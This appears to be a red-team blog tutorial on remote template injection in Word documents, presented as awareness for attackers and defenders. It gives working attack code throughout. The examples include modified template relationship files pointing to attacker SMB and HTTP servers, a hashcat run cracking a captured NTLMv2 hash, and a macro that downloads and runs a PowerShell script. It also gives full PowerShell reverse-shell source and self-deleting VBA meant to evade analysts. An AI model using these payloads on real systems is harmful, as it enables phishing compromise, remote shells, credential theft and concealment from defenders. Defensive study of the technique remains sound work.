Remote Template Injection
- Remote Template Injection
- Introduction
- What is Remote Template Injection?
- Microsoft’s Office Open XML (OOXML)
- Creating Microsoft Office Document Template file with Malicious Macro
- Using a .dotx file and creating a macro generated by Cobalt Strike
- Editing settings .xml to point to a SMB share and executing the document
- Creating a malicious macro (not generated by Cobalt Strike)
- OPSEC Considerations
Introduction
This blog post was made to give security awareness to both Blue and Red teamers on tactics, techniques, and procedures (TTPs) used by adversaries. The technique is broken down to give Blue/Red teamers insight on how and why this technique works to better Red Team Operations, as well as aid Blue teamers in identifying potential opportunities on how to properly detect and respond to this attack.
What is Remote Template Injection?
Remote template injection allows adversaries to create or modify references in Microsoft Office document templates (.dotx
) and inject malicious code within it. Microsoft Office document templates by default are used to download the necessary resources either locally or remotely. As adversaries tend to want to stay off of disk and leave as little of a trace as possible, being able to have a user pull a Word document template file down from a server and run a malicious macro is an effective way to bypass antivirus (AV) / Endpoint Detection and Response (EDR) products. Whenever a user opens the Word document, the Word document will fetch for the server to pull down the template and execute on request.
Microsoft’s Office Open XML (OOXML)
Something interesting about Microsoft Office is that Office Open XML (OOXML) exists. OOXML is essentially an XML-based format for Office documents, such as .docx
, xlsx
, and pptx
files. The XML-based format Office documents are used to replace older Office formats such as .doc
, .xls
, and .ppt
.
OOXML File Structure
These OOXML files are actually packed together in an archive typically in the following way (changes depending on if it is Word, Powerpoint, or Excel):
some_doc_file
| [Content_Types].xml
|
|__ _rels
| | .rels.xml
|
|__ docProps
| | app.xml
| | core.xml
| | custom.xml
|__ customXml
| | item1.xml
| | item2.xml
| | item3.xml
| | itemProps1.xml
| | itemProps2.xml
| | itemProp3.xml
| |__ _rels
| | | item1.xml
| | | item2.xml
| | | item3.xml
|__ word
| | document.xml
| | fontTable.xml
| | numbering.xml
| | settings.xml
| | styles.xml
| | webSettings.xml
| |
| |__ theme
| | | theme1.xml
| |
| |__ _rels
| | | document.xml.res
| | | settings.xml.res
The file structure above is based on a document I made that was created using Microsoft Office’s templates “Singled spaced (blank)” template which creates a settings.xml
file.
Settings.xml
All of these files within the OOXML based document contain various files and all of them together essentially makes the document properly render. Within the document word/_rels/settings.xml.res
contains a path to a target template file.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\<user_name>\AppData\Local\Microsoft\Office\16.0\DTS\en-US%7b92F4225B-B41E-4911-B496-EAAE8957371C%7d\%7bC0BD043B-DC80-4A0A-81E0-A5C8088180C1%7dtf02786999_win32.dotx" TargetMode="External"/></Relationships>
The Target
variable is calling to a locally stored .dotx
file in C:\Users\<user_name>\AppData\Local\Microsoft\Office\16.0\DTS\en-US%7b92F4225B-B41E-4911-B496-EAAE8957371C%7d\%7bC0BD043B-DC80-4A0A-81E0-A5C8088180C1%7dtf02786999_win32.dotx
. This variable can be changed to point to a remote server or a local .dotx
file stored on disk. In this case, using the Target
variable to point to a remote server is going to be used to avoid writing as little as possible on disk.
Creating Microsoft Office Document Template file with Malicious Macro
Knowing that settings.xml
allows for a path to be edited and grab a Microsoft Office Document Template file (.dotx) locally or remotely, embedding a malicious macro within the document to call back to a Command & Control Server (C2), run malicious, etc. is the next step.
Using a .dotx file and creating a macro generated by Cobalt Strike
Cobalt Strike can create macros to call back to its C2 pretty easily by navigating to Attacks -> Packages -> MS Office Macro -> Choose Listener -> Generate. After clicking “Generate”, Cobalt Strike shows steps on how to copy its generated macro into a Word / Excel document. Once the macro is generated, navigate to word and on the top panel click on “View” -> “Macros” -> “View Macros”.
Create a Macro name and then hit “Create” on the right hand side. After clicking “Create” the following should pop up:
This is VBA
or Microsoft Visual basic for Applications. Within here, navigate to “This Document” as the picture shows below:
Paste the Cobalt Strike macro into here and going to “File” -> “Save
Editing settings .xml to point to a SMB share and executing the document
Within the initial malicious template file created, another Office document needs to be created. This Office document needs to be a template file as well but does not need any macros within it. Within the Office document created in this post, “test” was simply written in the document. To access settings.xml.res
, the Office document that was just created needs to be extracted (with a tool like 7-Zip). After extracting the Office document and going to word/_rels/settings.xml.res
, the following was stuck into the settings.xml.res
file:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="\\192.168.110.134\share\fax.dotm" TargetMode="External"/></Relationships>
Note the Target
variable is pointing to \\192.168.110.134\share\fax.dotm
which contains the macro that will callback to the C2. From here, zip the contents back up and change the .zip
file extension into .docx
and run the document.
Upon hitting “Enable Content” a callback is sent to the C2.
Cracking Passwords (w/ SMB Server)
Note that since a SMB server is being used, NTLMv2 hashes are getting pulled in as well. If the password is fairly weak (found in rockyou.txt
wordlist. Or if the password was found in a data breach and has not been changed/has been frequently reused), there is the possibility that one could grab the NTLMv2 hash and crack the hash offline. Hashes can be cracked using hashcat
which is a password recovery tool. Providing a hash-type (using -m
. Hash-modes can be found here) and specifying a word list can attempt to crack the hash.
hashcat -m 5600 'test::DESKTOP-Q4KKFJ3:4141414141414141:bf11f3d670873af69d32b178565cdc92:010100000000000000d88628a805d8019cb252c2fb91d9ef00000000010010004d00710074006c0050006b00450043000200100066007800540047004a00650042007600030010004d00710074006c0050006b00450043000400100066007800540047004a006500420076000700080000d88628a805d80106000400020000000800300030000000000000000100000000200000ac5096548670bd431acfd34a6a324dd51aa026fdb08fc2f7acde870e7ee263440a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310030002e003100330034000000000000000000' /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-AMD Ryzen 7 1700 Eight-Core Processor, 2859/2923 MB (1024 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 64 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
TEST::DESKTOP-Q4KKFJ3:4141414141414141:bf11f3d670873af69d32b178565cdc92:010100000000000000d88628a805d8019cb252c2fb91d9ef00000000010010004d00710074006c0050006b00450043000200100066007800540047004a00650042007600030010004d00710074006c0050006b00450043000400100066007800540047004a006500420076000700080000d88628a805d80106000400020000000800300030000000000000000100000000200000ac5096548670bd431acfd34a6a324dd51aa026fdb08fc2f7acde870e7ee263440a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310030002e003100330034000000000000000000:Password1!
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: TEST::DESKTOP-Q4KKFJ3:4141414141414141:bf11f3d67087...000000
Time.Started.....: Sun Jan 9 14:29:28 2022 (1 sec)
Time.Estimated...: Sun Jan 9 14:29:29 2022 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 818.4 kH/s (1.87ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 176128/14344385 (1.23%)
Rejected.........: 0/176128 (0.00%)
Restore.Point....: 174080/14344385 (1.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: berhasil -> 311331
Started: Sun Jan 9 14:29:01 2022
Stopped: Sun Jan 9 14:29:30 2022
The password was cracked and has been identified as Password1!
.
Relay Attacks (w/ SMB Server - to be added)
Cracking passwords is not the only thing that can be done with NTLMv2 hashes though. NTLMv2 can also be used for relay attacks. I am not going to get into relay attacks in particular blog post, but may post about it in the future and update this blog post to link to that post.
Creating a malicious macro (not generated by Cobalt Strike)
The exact same steps can be taken to gain code execution or callbacks without a C2 like Cobalt Strike to generate macros. Creating a VBA macro that executes something can be as simple as the following:
Sub Document_Open()
set objShell = CreateObject("Wscript.Shell")
Shell.Run "<payload>"
End Sub
Sticking that into a macro by going to “View” > “Macros” > “View Macros” -> Create and sticking this inside of “ThisDocument” and saving the file is all that needs to be done. The payload used in this example is the following:
Sub Document_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.110.134/mini-reverse.ps1')"
End Sub
Essentially the object objShell
will run a Powershell script in memory by calling to a HTTP server under 192.168.110.134
and grab the file mini-reverse.ps1
to execute. The mini-reverse.ps1
contains this code:
$socket = new-object System.Net.Sockets.TcpClient('<ip_addr>', <port>);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
This code can be found here. With the .dotm
template file with a macro created and a payload is generated and ready to execute, the only thing left is to change the settings.xml.res
file again. Rather than using an SMB server like the previous example, a HTTP server will be used instead. The settings.xml.res
file looks like this:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="http://192.168.110.134/new_template.dotm" TargetMode="External"/></Relationships>
The settings.xml.res
file is now pointing to http://192.168.110.134/new_template.dotm
within the Target
variable. This is going to grab the new_template.dotm
file (the Office template document with a malicious macro within it) from the web server under http://192.168.110.134
. With that completed, zipping up the contents and changing the file extension from .zip
to .docx
and executing it will ultimately present a callback from the Windows endpoint due to remote template injection.
OPSEC Considerations
Security analysts who observe remote template injection occuring on an endpoint may be able to simply open the Office document in a sandboxed environment, view the macros, and have a good idea of what is going on if the malicious macros are simply left in the Office document. In November 2019, John Woodman posted a blog about how to Unlink and Self Delete VBA Macros. The technique Woodman uses is to unlink the current template and link the document to another template.
Sub unlink()
Application.DisplayAlerts = False
On Error GoTo Destroy
ThisDocument.AttachedTemplate.Saved = True
CurrUser = Application.UserName
tmpLoc = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Normal.dotm"
ActiveDocument.AttachedTemplate = tmpLoc
ActiveDocument.AttachedTemplate.Saved = True
ThisDocument.Saved = True
ActiveDocument.Saved = True
ThisDocument.Close savechanges:=False
Exit Sub
Destroy:
Call ThisDocument.DeleteVBAPROJECT
ThisDocument.Saved = True
ActiveDocument.Saved = True
ActiveDocument.AttachedTemplate.Saved = True
ThisDocument.Close savechanges:=False
End Sub
The Destory
section of the code is an implemented “fail-safe” mechanism that Woodman implemented. Essentially if the unlinking process fails, it will call the DeleteVBAPROJECT
function and delete all of the code in the template.
Sub DeleteVBAPROJECT()
Application.DisplayAlerts = False
Dim i As Long On Error Resume Next
With ThisDocument.VBProject
For i = .VBComponents.Count To 1 Step -1
.VBComponents.Remove .VBComponents(i)
.VBComponents(i).CodeModule.DeleteLines _
1, .VBComponents(i).CodeModule.CountOfLines
Next i
End With
On Error GoTo 0
ThisDocument.Saved = True
ActiveDocument.Saved = True
End Sub
This is a pretty neat OPSEC technique to ensure macros are not just left out in the open. The technique is not perfect as Woodman explains as the VBA code functions are still present; however, it is better than nothing.